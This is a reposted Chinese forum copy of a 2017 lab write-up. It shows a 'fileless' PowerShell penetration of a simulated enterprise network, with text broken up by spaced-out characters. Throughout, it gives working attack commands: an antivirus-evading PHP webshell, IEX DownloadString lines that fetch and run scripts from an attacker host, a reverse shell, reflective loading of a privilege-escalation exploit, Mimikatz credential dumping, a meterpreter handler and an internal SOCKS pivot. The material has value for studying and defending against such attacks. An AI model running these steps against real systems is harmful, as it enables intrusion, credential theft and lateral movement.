搜索

[11131] 2017-03-15_「无文件」攻击方式渗透实验

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2017-03-15_「无文件」攻击方式渗透实验 「 无 文 件 」 攻 击 方 式 渗 透 实 验 亚 信 安 全   F r e e B u f   2 0 1 7 - 0 3 - 1 5 * 本 文 原 创 作 者 ： 亚 信 安 全 （ 企 业 账 号 ） ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 前 几 天 看 了 一 个 文 章 《 全 球 上 百 家 银 行 和 金 融 机 构 感 染 了 一 种 “ 无 文 件 ” 恶 意 程 序 ， 几 乎 无 法 检 测 》 ， 觉 得 p o w e r s h e l l 很 是 神 奇 ， 自 己 希 望 亲 手 实 验 一 下 ， 以 最 大 程 度 还 原 “ 无 文 件 ” 攻 击 方 式 。 拓 扑 设 计 拓 扑 设 计 拓 扑 介 绍 拓 扑 介 绍 其 中 1 9 2 . 1 6 8 . 1 . 0 / 2 4 模 拟 的 是 公 网 的 环 境 1 7 2 . 2 1 . 1 3 2 . 0 / 2 4 模 拟 的 是 企 业 内 网 的 环 境 边 界 w e b 服 务 器 双 网 卡 （ 公 网 的 ： 1 9 2 . 1 6 8 . 1 . 1 1 0 ， 和 内 网 的 1 7 2 . 2 1 . 1 3 2 . 1 1 0 ） ， 而 且 为 了 最 基 本 的 安 全 保 障 ， w e b 边 界 服 务 器 设 置 了 防 火 墙 ， 此 防 火 墙 对 外 网 只 开 放 8 0 ， 8 1 ， 4 4 3 端 口 ， 对 内 网 开 放 所 有 端 口 ， 上 面 还 装 有 3 6 0 杀 毒 软 件 。 内 网 还 布 置 若 干 台 w e b 服 务 器 ， 一 台 旁 路 告 警 设 备 （ i p s ） ， 他 们 都 可 以 连 接 到 外 网 ， 但 是 外 网 访 问 不 到 内 部 的 任 何 w e b 服 务 器 其 中 w e b 服 务 器 （ l i n u x ） （ 1 7 2 . 2 1 . 1 3 2 . 1 1 3 ) 前 面 放 置 防 火 墙 ， 不 可 以 被 内 网 的 其 他 w e b 服 务 器 访 问 到 ， 但 是 它 可 以 访 问 到 内 网 的 其 他 服 务 器 ， 并 且 能 够 连 接 到 外 网 。 这 套 环 境 里 面 的 1 9 2 . 1 6 8 . 1 . 1 0 8 是 黑 客 的 k a l i 攻 击 机 ， 1 9 2 . 1 6 8 . 1 . 2 1 2 是 黑 客 的 w i n d o w s 攻 击 机 科 普 下 n i s h a n g 和 P o w e r S p l o i t 1 、 N i s h a n g 是 基 于 P o w e r S h e l l 的 渗 透 测 试 专 用 工 具 。 集 成 了 框 架 、 脚 本 和 各 种 p a y l o a d 。 这 些 脚 本 是 由 N i s h a n g 的 作 者 在 真 实 渗 透 测 试 过 程 中 有 感 而 发 编 写 的 ， 具 有 实 战 价 值 。 包 括 了 下 载 和 执 行 、 键 盘 记 录 、 d n s 、 延 时 命 令 等 脚 本 2 、 P o w e r S p l o i t 是 又 一 款 P o s t   E x p l o i t a t i o n   相 关 工 具 ， P o s t   E x p l o i t a t i o n 是 老 外 渗 透 测 试 标 准 里 面 的 东 西 ， 就 是 获 取 s h e l l 之 后 干 的 一 些 事 情 。 P o w e r S p l o i t   其 实 就 是 一 些 p o w e r s h e l l 脚 本 ， 包 括 I n j e c t - D l l ( 注 入 d l l   到 指 定 进 程   ) 、 I n j e c t - S h e l l c o d e （ 注 入 s h e l l c o d e 到 执 行 进 程 ） 、   E n c r y p t -   S c r i p t （ 文 本 或 脚 本 加 密 ） 、 G e t - G P P P a s s w o r d （ 通 过 g r o u p s . x m l   获 取 明 文 密 码 ） 、   I n v o k e -   R e v e r s e D n s L o o k u p （ 扫 描 D N S   P T R 记 录 ） 渗 透 开 始 渗 透 开 始 首 先 边 界 w e b 服 务 器 上 f a s t c g i 配 置 错 误 ， 导 致 服 务 器 被 g e t s h e l l   因 为 网 上 的 菜 刀 好 多 都 有 后 门 ， 所 以 我 用 开 源 的 C K n i f e （ 介 绍 地 址 ： 跨 平 台 版 中 国 菜 刀 C k n i f e 发 布 项 目 地 址 ： C k n i f e 的 g i t h u b )   因 为 服 务 器 上 有 杀 毒 软 件 ， 所 以 要 把 一 句 话 木 马 做 一 下 转 换 。 绕 过 思 路 参 考 ： 打 狗 棒 法 之 进 阶 篇 ： C k n i f e 修 改 配 置 法 秒 过 安 全 狗 我 用 的 服 务 器 端 木 马 内 容 替 换 C o n f i g . i n i 的 P H P _ M A K E 为 < ? p h p         e v a l ( ' $ m s 5 0 9   = ' . $ _ P O S T [ ' C k n i f e ' ] ) ; e v a l ( $ m s 5 0 9 ) ; ? > b a s e 6 4 _ d e c o d e ( $ _ P O S T [ ' a c t i o n ' ] ) ;
连 接 方 式 拿 到 w e b s h e l l 之 后 ， 首 先 用 s y s t e m i n f o 来 查 看 系 统 信 息
首 先 可 以 看 到 这 个 是 一 台 w i n 2 0 0 8   r 2   6 4 位 系 统 ， 而 且 没 有 打 任 何 系 统 补 丁   所 以 我 可 以 从 上 面 反 弹 一 个 p o w e r s h e l l 出 来 进 行 进 一 步 的 渗 透   首 先 把 n i s h a n g   g i t   c l o n e 到 自 己 的 w e b 目 录 下 面 ， 然 后 在 s h e l l 目 录 下 找 到 I n v o k e - P o w e r S h e l l T c p . p s 1 ， 我 为 了 方 便 把 I n v o k e - P o w e r S h e l l T c p . p s 1 复 制 到 了 w e b 的 根 目 录 ， 我 先 在 自 己 的 机 子 上 用 n c 监 听 8 8 8 8 端 口 ， 然 后 执 行 p o w e r s h e l l   I E X ( N e w - O b j e c t N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ‘ h t t p : / / 1 9 2 . 1 6 8 . 1 0 8 / I n v o k e - P o w e r S h e l l T c p . p s 1 ‘ ) ; I n v o k e - P o w e r S h e l l T c p - R e v e r s e   - I P A d d r e s s   1 9 2 . 1 6 8 . 1 . 1 0 8   - p o r t   8 8 8 8 在 n c 上 得 到 一 个 反 弹 出 来 的 p o w e r s h e l l 查 看 权 限 发 现 权 限 比 较 低 只 是 ： i i s   a p p p o o l 所 以 我 需 要 提 高 一 下 权 限 。 一 般 的 做 法 是 要 上 传 一 个 内 核 溢 出 的 e x p ， 一 般 都 是 上 传 一 个 e x e ， 但 是 我 在 这 里 选 择 直 接 从 远 处 加 载 一 个 e x e 到 受 害 主 机 内 存 中 ， 并 且 让 他 执 行 起 来 ， 详 细 的 我 会 在 《 有 趣 的 渗 透 （ 番 外 篇 ） 》 中 详 细 的 说 明 。 我 先 把 h t t p s : / / g i t h u b . c o m / c l y m b 3 r / P o w e r S h e l l / b l o b / m a s t e r / I n v o k e - R e f l e c t i v e P E I n j e c t i o n / I n v o k e - R e f l e c t i v e P E I n j e c t i o n . p s 1 下 载 到 我 的 w e b 目 录 下 面 ， 再 把 用 到 的 提 权 e x p （ m s 1 5 6 4 . e x e ） 放 到 w e b 根 目 录 下 面   然 后 在 反 弹 的 s h e l l 里 面 运 行 这 样 再 执 行 w h o a m i 看 权 限 的 话 就 可 以 看 到 是   n t   a u t h o r i t y 。 I E X ( N e w - O b j e c t N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 1 0 8 / I n v o k e - R e f l e c t i v e P E I n j e c t i o n . p s 1 ' ) ; I n v o k e - R e f l e c t i v e P E I n j e c t i o n - P E U r l   h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 8 / m s 1 5 6 4 . e x e   - E x e A r g s   " c m d "   - F o r c e A S L R
（ P s ： 这 里 面 有 个 坑 ， 这 个 m s 1 5 0 5 1 的 e x p 是 随 便 从 一 个 网 上 下 载 下 来 的 ， 没 有 经 过 改 造 ， 所 以 当 执 行 的 指 令 参 数 有 空 格 的 时 候 ， 他 就 没 有 任 何 反 应 ， 也 没 有 任 何 回 显 。 后 来 经 过 我 不 断 的 尝 试 ， 执 行 c m d 的 时 候 就 可 以 把 s h e l l 的 权 限 提 了 ， 很 不 错 ， 但 是 如 果 你 执 行 p o w e r s h e l l 这 个 指 令 的 话 ， 那 么 这 个 反 弹 的 s h e l l 就 会 假 死 ）   这 个 时 候 在 本 机 搜 集 一 下 信 息 ：   首 先 用 m i m i k a t z 来 脱 出 登 陆 过 得 密 码 ： I E X   ( N e w - O b j e c t N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 8 / I n v o k e - M i m i k a t z . p s 1 ' ) ; I n v o k e - M i m i k a t z
查 看 a r p 的 列 表
看 到 好 多 机 子 集 中 在 1 7 2 . 2 1 . 1 3 2 . 1 0 0 - 1 2 0 这 个 网 段 我 调 用 p o e r s h e l l 扫 一 下 端 口 扫 描 的 脚 本 从 这 里 下 载 ： h t t p s : / / g i t h u b . c o m / s a m r a t a s h o k / n i s h a n g / b l o b / m a s t e r / S c a n / I n v o k e - P o r t S c a n . p s 1 扫 描 ： 这 个 时 候 我 用 利 用 p o w e r s h e l l 反 弹 一 个 m e t e r p r e t e r   利 用 p o w e r s p l o i t 框 架 ， 由 于 一 些 奇 怪 的 原 因 ， 作 者 把 框 架 中 支 持 m s f 的 部 分 去 掉 了 ， 但 是 经 过 的 我 的 查 找 ， 在 作 者 提 交 的 历 史 记 录 里 面 找 到 了 最 后 一 版 支 持 m s f 的 部 分 ：   地 址 是 ： h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / P o w e r S h e l l M a f i a / P o w e r S p l o i t / 1 2 c e 7 1 b 9 f 4 b 0 4 2 8 d 9 4 2 5 e 0 0 1 e 5 9 8 8 f 9 1 e b 2 b 8 b 8 7 / C o d e E x e c u t i o n / I n v o k e – S h e l l c o d e . p s 1 如 果 g i t   c l o n e 新 版 本 的 P o w e r S p l o i t 你 要 用 老 版 本 的 C o d e E x e c u t i o n / I n v o k e – S h e l l c o d e . p s 1 替 换 掉 新 版 本 的 文 件 。 使 用 方 法 还 是 先 把 脚 本 下 载 到 黑 客 自 己 的 w e b 目 录 下 ， 我 为 了 方 便 ， 我 写 了 一 个 调 用 脚 本 放 在 w e b 目 录 下 ( 1 . p s 1 ) 先 把 m s f 打 开 ， 然 后 设 置 p a y l o a d 为 w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s , 并 且 监 听 在 4 4 4 4 端 口 ： 然 后 在 p o w e r s h e l l 反 弹 的 s h e l l 中 调 用 I E X   ( N e w - O b j e c t N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ‘ h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 8 / 1 . p s 1 ‘ ) 成 功 拿 到 m e t e r p r e t e r , 但 是 注 意 ： 这 个 m e t e r p r e t e r 执 行 s h e l l 是 不 能 得 到 交 互 式 的 c m d   , 因 为 刚 才 用 e x p 把 反 弹 的 p o w e r s h e l l 变 成 了 s y s t e m 的 权 限 ， 所 以 再 反 弹 出 来 的 m e t e r p r e t e r 也 是 s y s t e m 权 限 这 个 时 候 可 以   m e t e r p r e t e r 查 看 路 由 ：   r u n g e t _ l o c a l _ s u b n e t s m e t e r p r e t e r   寻 找 p u t t y 保 存 的 信 息   r u n   e n u m _ p u t t y m e t e r p r e t e r   寻 找 i e 保 存 的 密 码   r u n   p o s t / w i n d o w s / g a t h e r / e n u m _ i e 本 地 信 息 搜 集 差 不 多 了 ， 可 以   把 m e t e r p r e t e r 放 入 后 台 ：   b a c k g r o u n d 然 后 添 加 路 由 （ 这 样 才 能 进 行 内 网 的 扫 描 ） ：   r o u t e   a d d   1 7 2 . 2 1 . 1 3 2 . 0   2 5 5 . 2 5 5 . 2 5 5 . 0   1   r o u t e   a d d 的 第 一 个 参 数 是 地 址 ， 第 二 个 参 数 地 址 是 掩 码 ， 第 三 个 参 数 是 s e s s i s 的 i d 进 行 内 网 的 主 机 扫 描 ： 利 用 s m b 进 行 主 机 识 别 ：   u s e   a u x i l i a r y / s c a n n e r / s m b / s m b _ v e r s i o n I E X   ( N e w - O b j e c t N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 8 / I n v o k e - P o r t S c a n . p s 1 ' ) ; I n v o k e - P o r t S c a n - S t a r t A d d r e s s   1 7 2 . 2 1 . 1 3 2 . 0   - E n d A d d r e s s   1 7 2 . 2 1 . 1 3 2 . 2 5 4   - R e s o l v e H o s t   - S c a n P o r t I E X ( N e w - O b j e c t N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 8 / C o d e E x e c u t i o n / I n v o k e - S h e l l c o d e . p s 1 ' ) I n v o k e - S h e l l c o d e   - p a y l o a d w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s   - l h o s t   1 9 2 . 1 6 8 . 1 . 1 0 8   - l p o r t   4 4 4 4   - f o r c e m s f   >   u s e e x p l o i t / m u l t i / h a n d l e r m s f   e x p l o i t ( h a n d l e r )   >   s e t   p a y l o a d w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s p a y l o a d   = >   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s m s f   e x p l o i t ( h a n d l e r )   >   s e t   l p o r t   4 4 4 4 l p o r t   = >   4 4 4 4 m s f   e x p l o i t ( h a n d l e r )   >   s e t   l h o s t   0 . 0 . 0 . 0 l h o s t   = >   0 . 0 . 0 . 0 m s f   e x p l o i t ( h a n d l e r )   >   r u n
利 用 刚 才 找 到 的 管 理 员 密 码 在 内 网 里 面 碰 撞 一 下 ， 看 看 多 少 主 机 用 的 是 同 样 的 密 码 用 的 是 ： u s e   a u x i l i a r y / s c a n n e r / s m b / s m b _ l o g i n 可 以 看 到 内 网 里 面 的 大 部 分 机 子 都 是 用 的 一 个 密 码 下 面 我 要 用 s o c k s 代 理 进 入 到 内 网 里 面 获 取 一 些 信 息 有 三 种 选 择 ：   首 先 m s f 提 供 了 一 种 s o c k s 4 a 的 代 理 ， 浏 览 器 可 以 用 这 个 代 理 进 入 到 内 网 ， 但 是 b u r p 不 能 用 s o c k s 4 a 的 代 理 。 第 二 ： 可 以 用 r e G e o r g S o c k s P r o x y . p y 的 s o c k s 5 进 入 到 内 网 里 面   第 三 ： 可 以 用 特 殊 处 理 过 得 x s o c k s . e x e , 通 过 p o w e r s h e l l 远 程 加 载 到 内 存 里 面 运 行 之 后 得 到 s o c k s 5 的 代 理 因 为 这 是 6 0 字 节 w e b s h e l l 的 杂 技 ， 所 以 我 用 第 三 种 方 法 进 入 到 内 网 ： 首 先 在 黑 客 的 w e b 里 面 放 入 特 殊 处 理 的 x s o c k s . e x e ， 然 后 用 p o w e s h e l l 加 载 然 后 b u r p 这 样 设 置 ： I E X   ( N e w - O b j e c t N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 8 / I n v o k e - R e f l e c t i v e P E I n j e c t i o n . p s 1 ' ) ; I n v o k e - R e f l e c t i v e P E I n j e c t i o n - P E U r l   h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 8 / x s o c k s . e x e   - E x e A r g s   " - l   4 4 3 "   - F o r c e A S L R
火 狐 中 这 样 设 置
就 可 以 实 现 这 样 的 效 果 了
看 一 下 效 果 ： 把 流 量 拦 截 下 来 r e p e a t e r 也 可 以
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理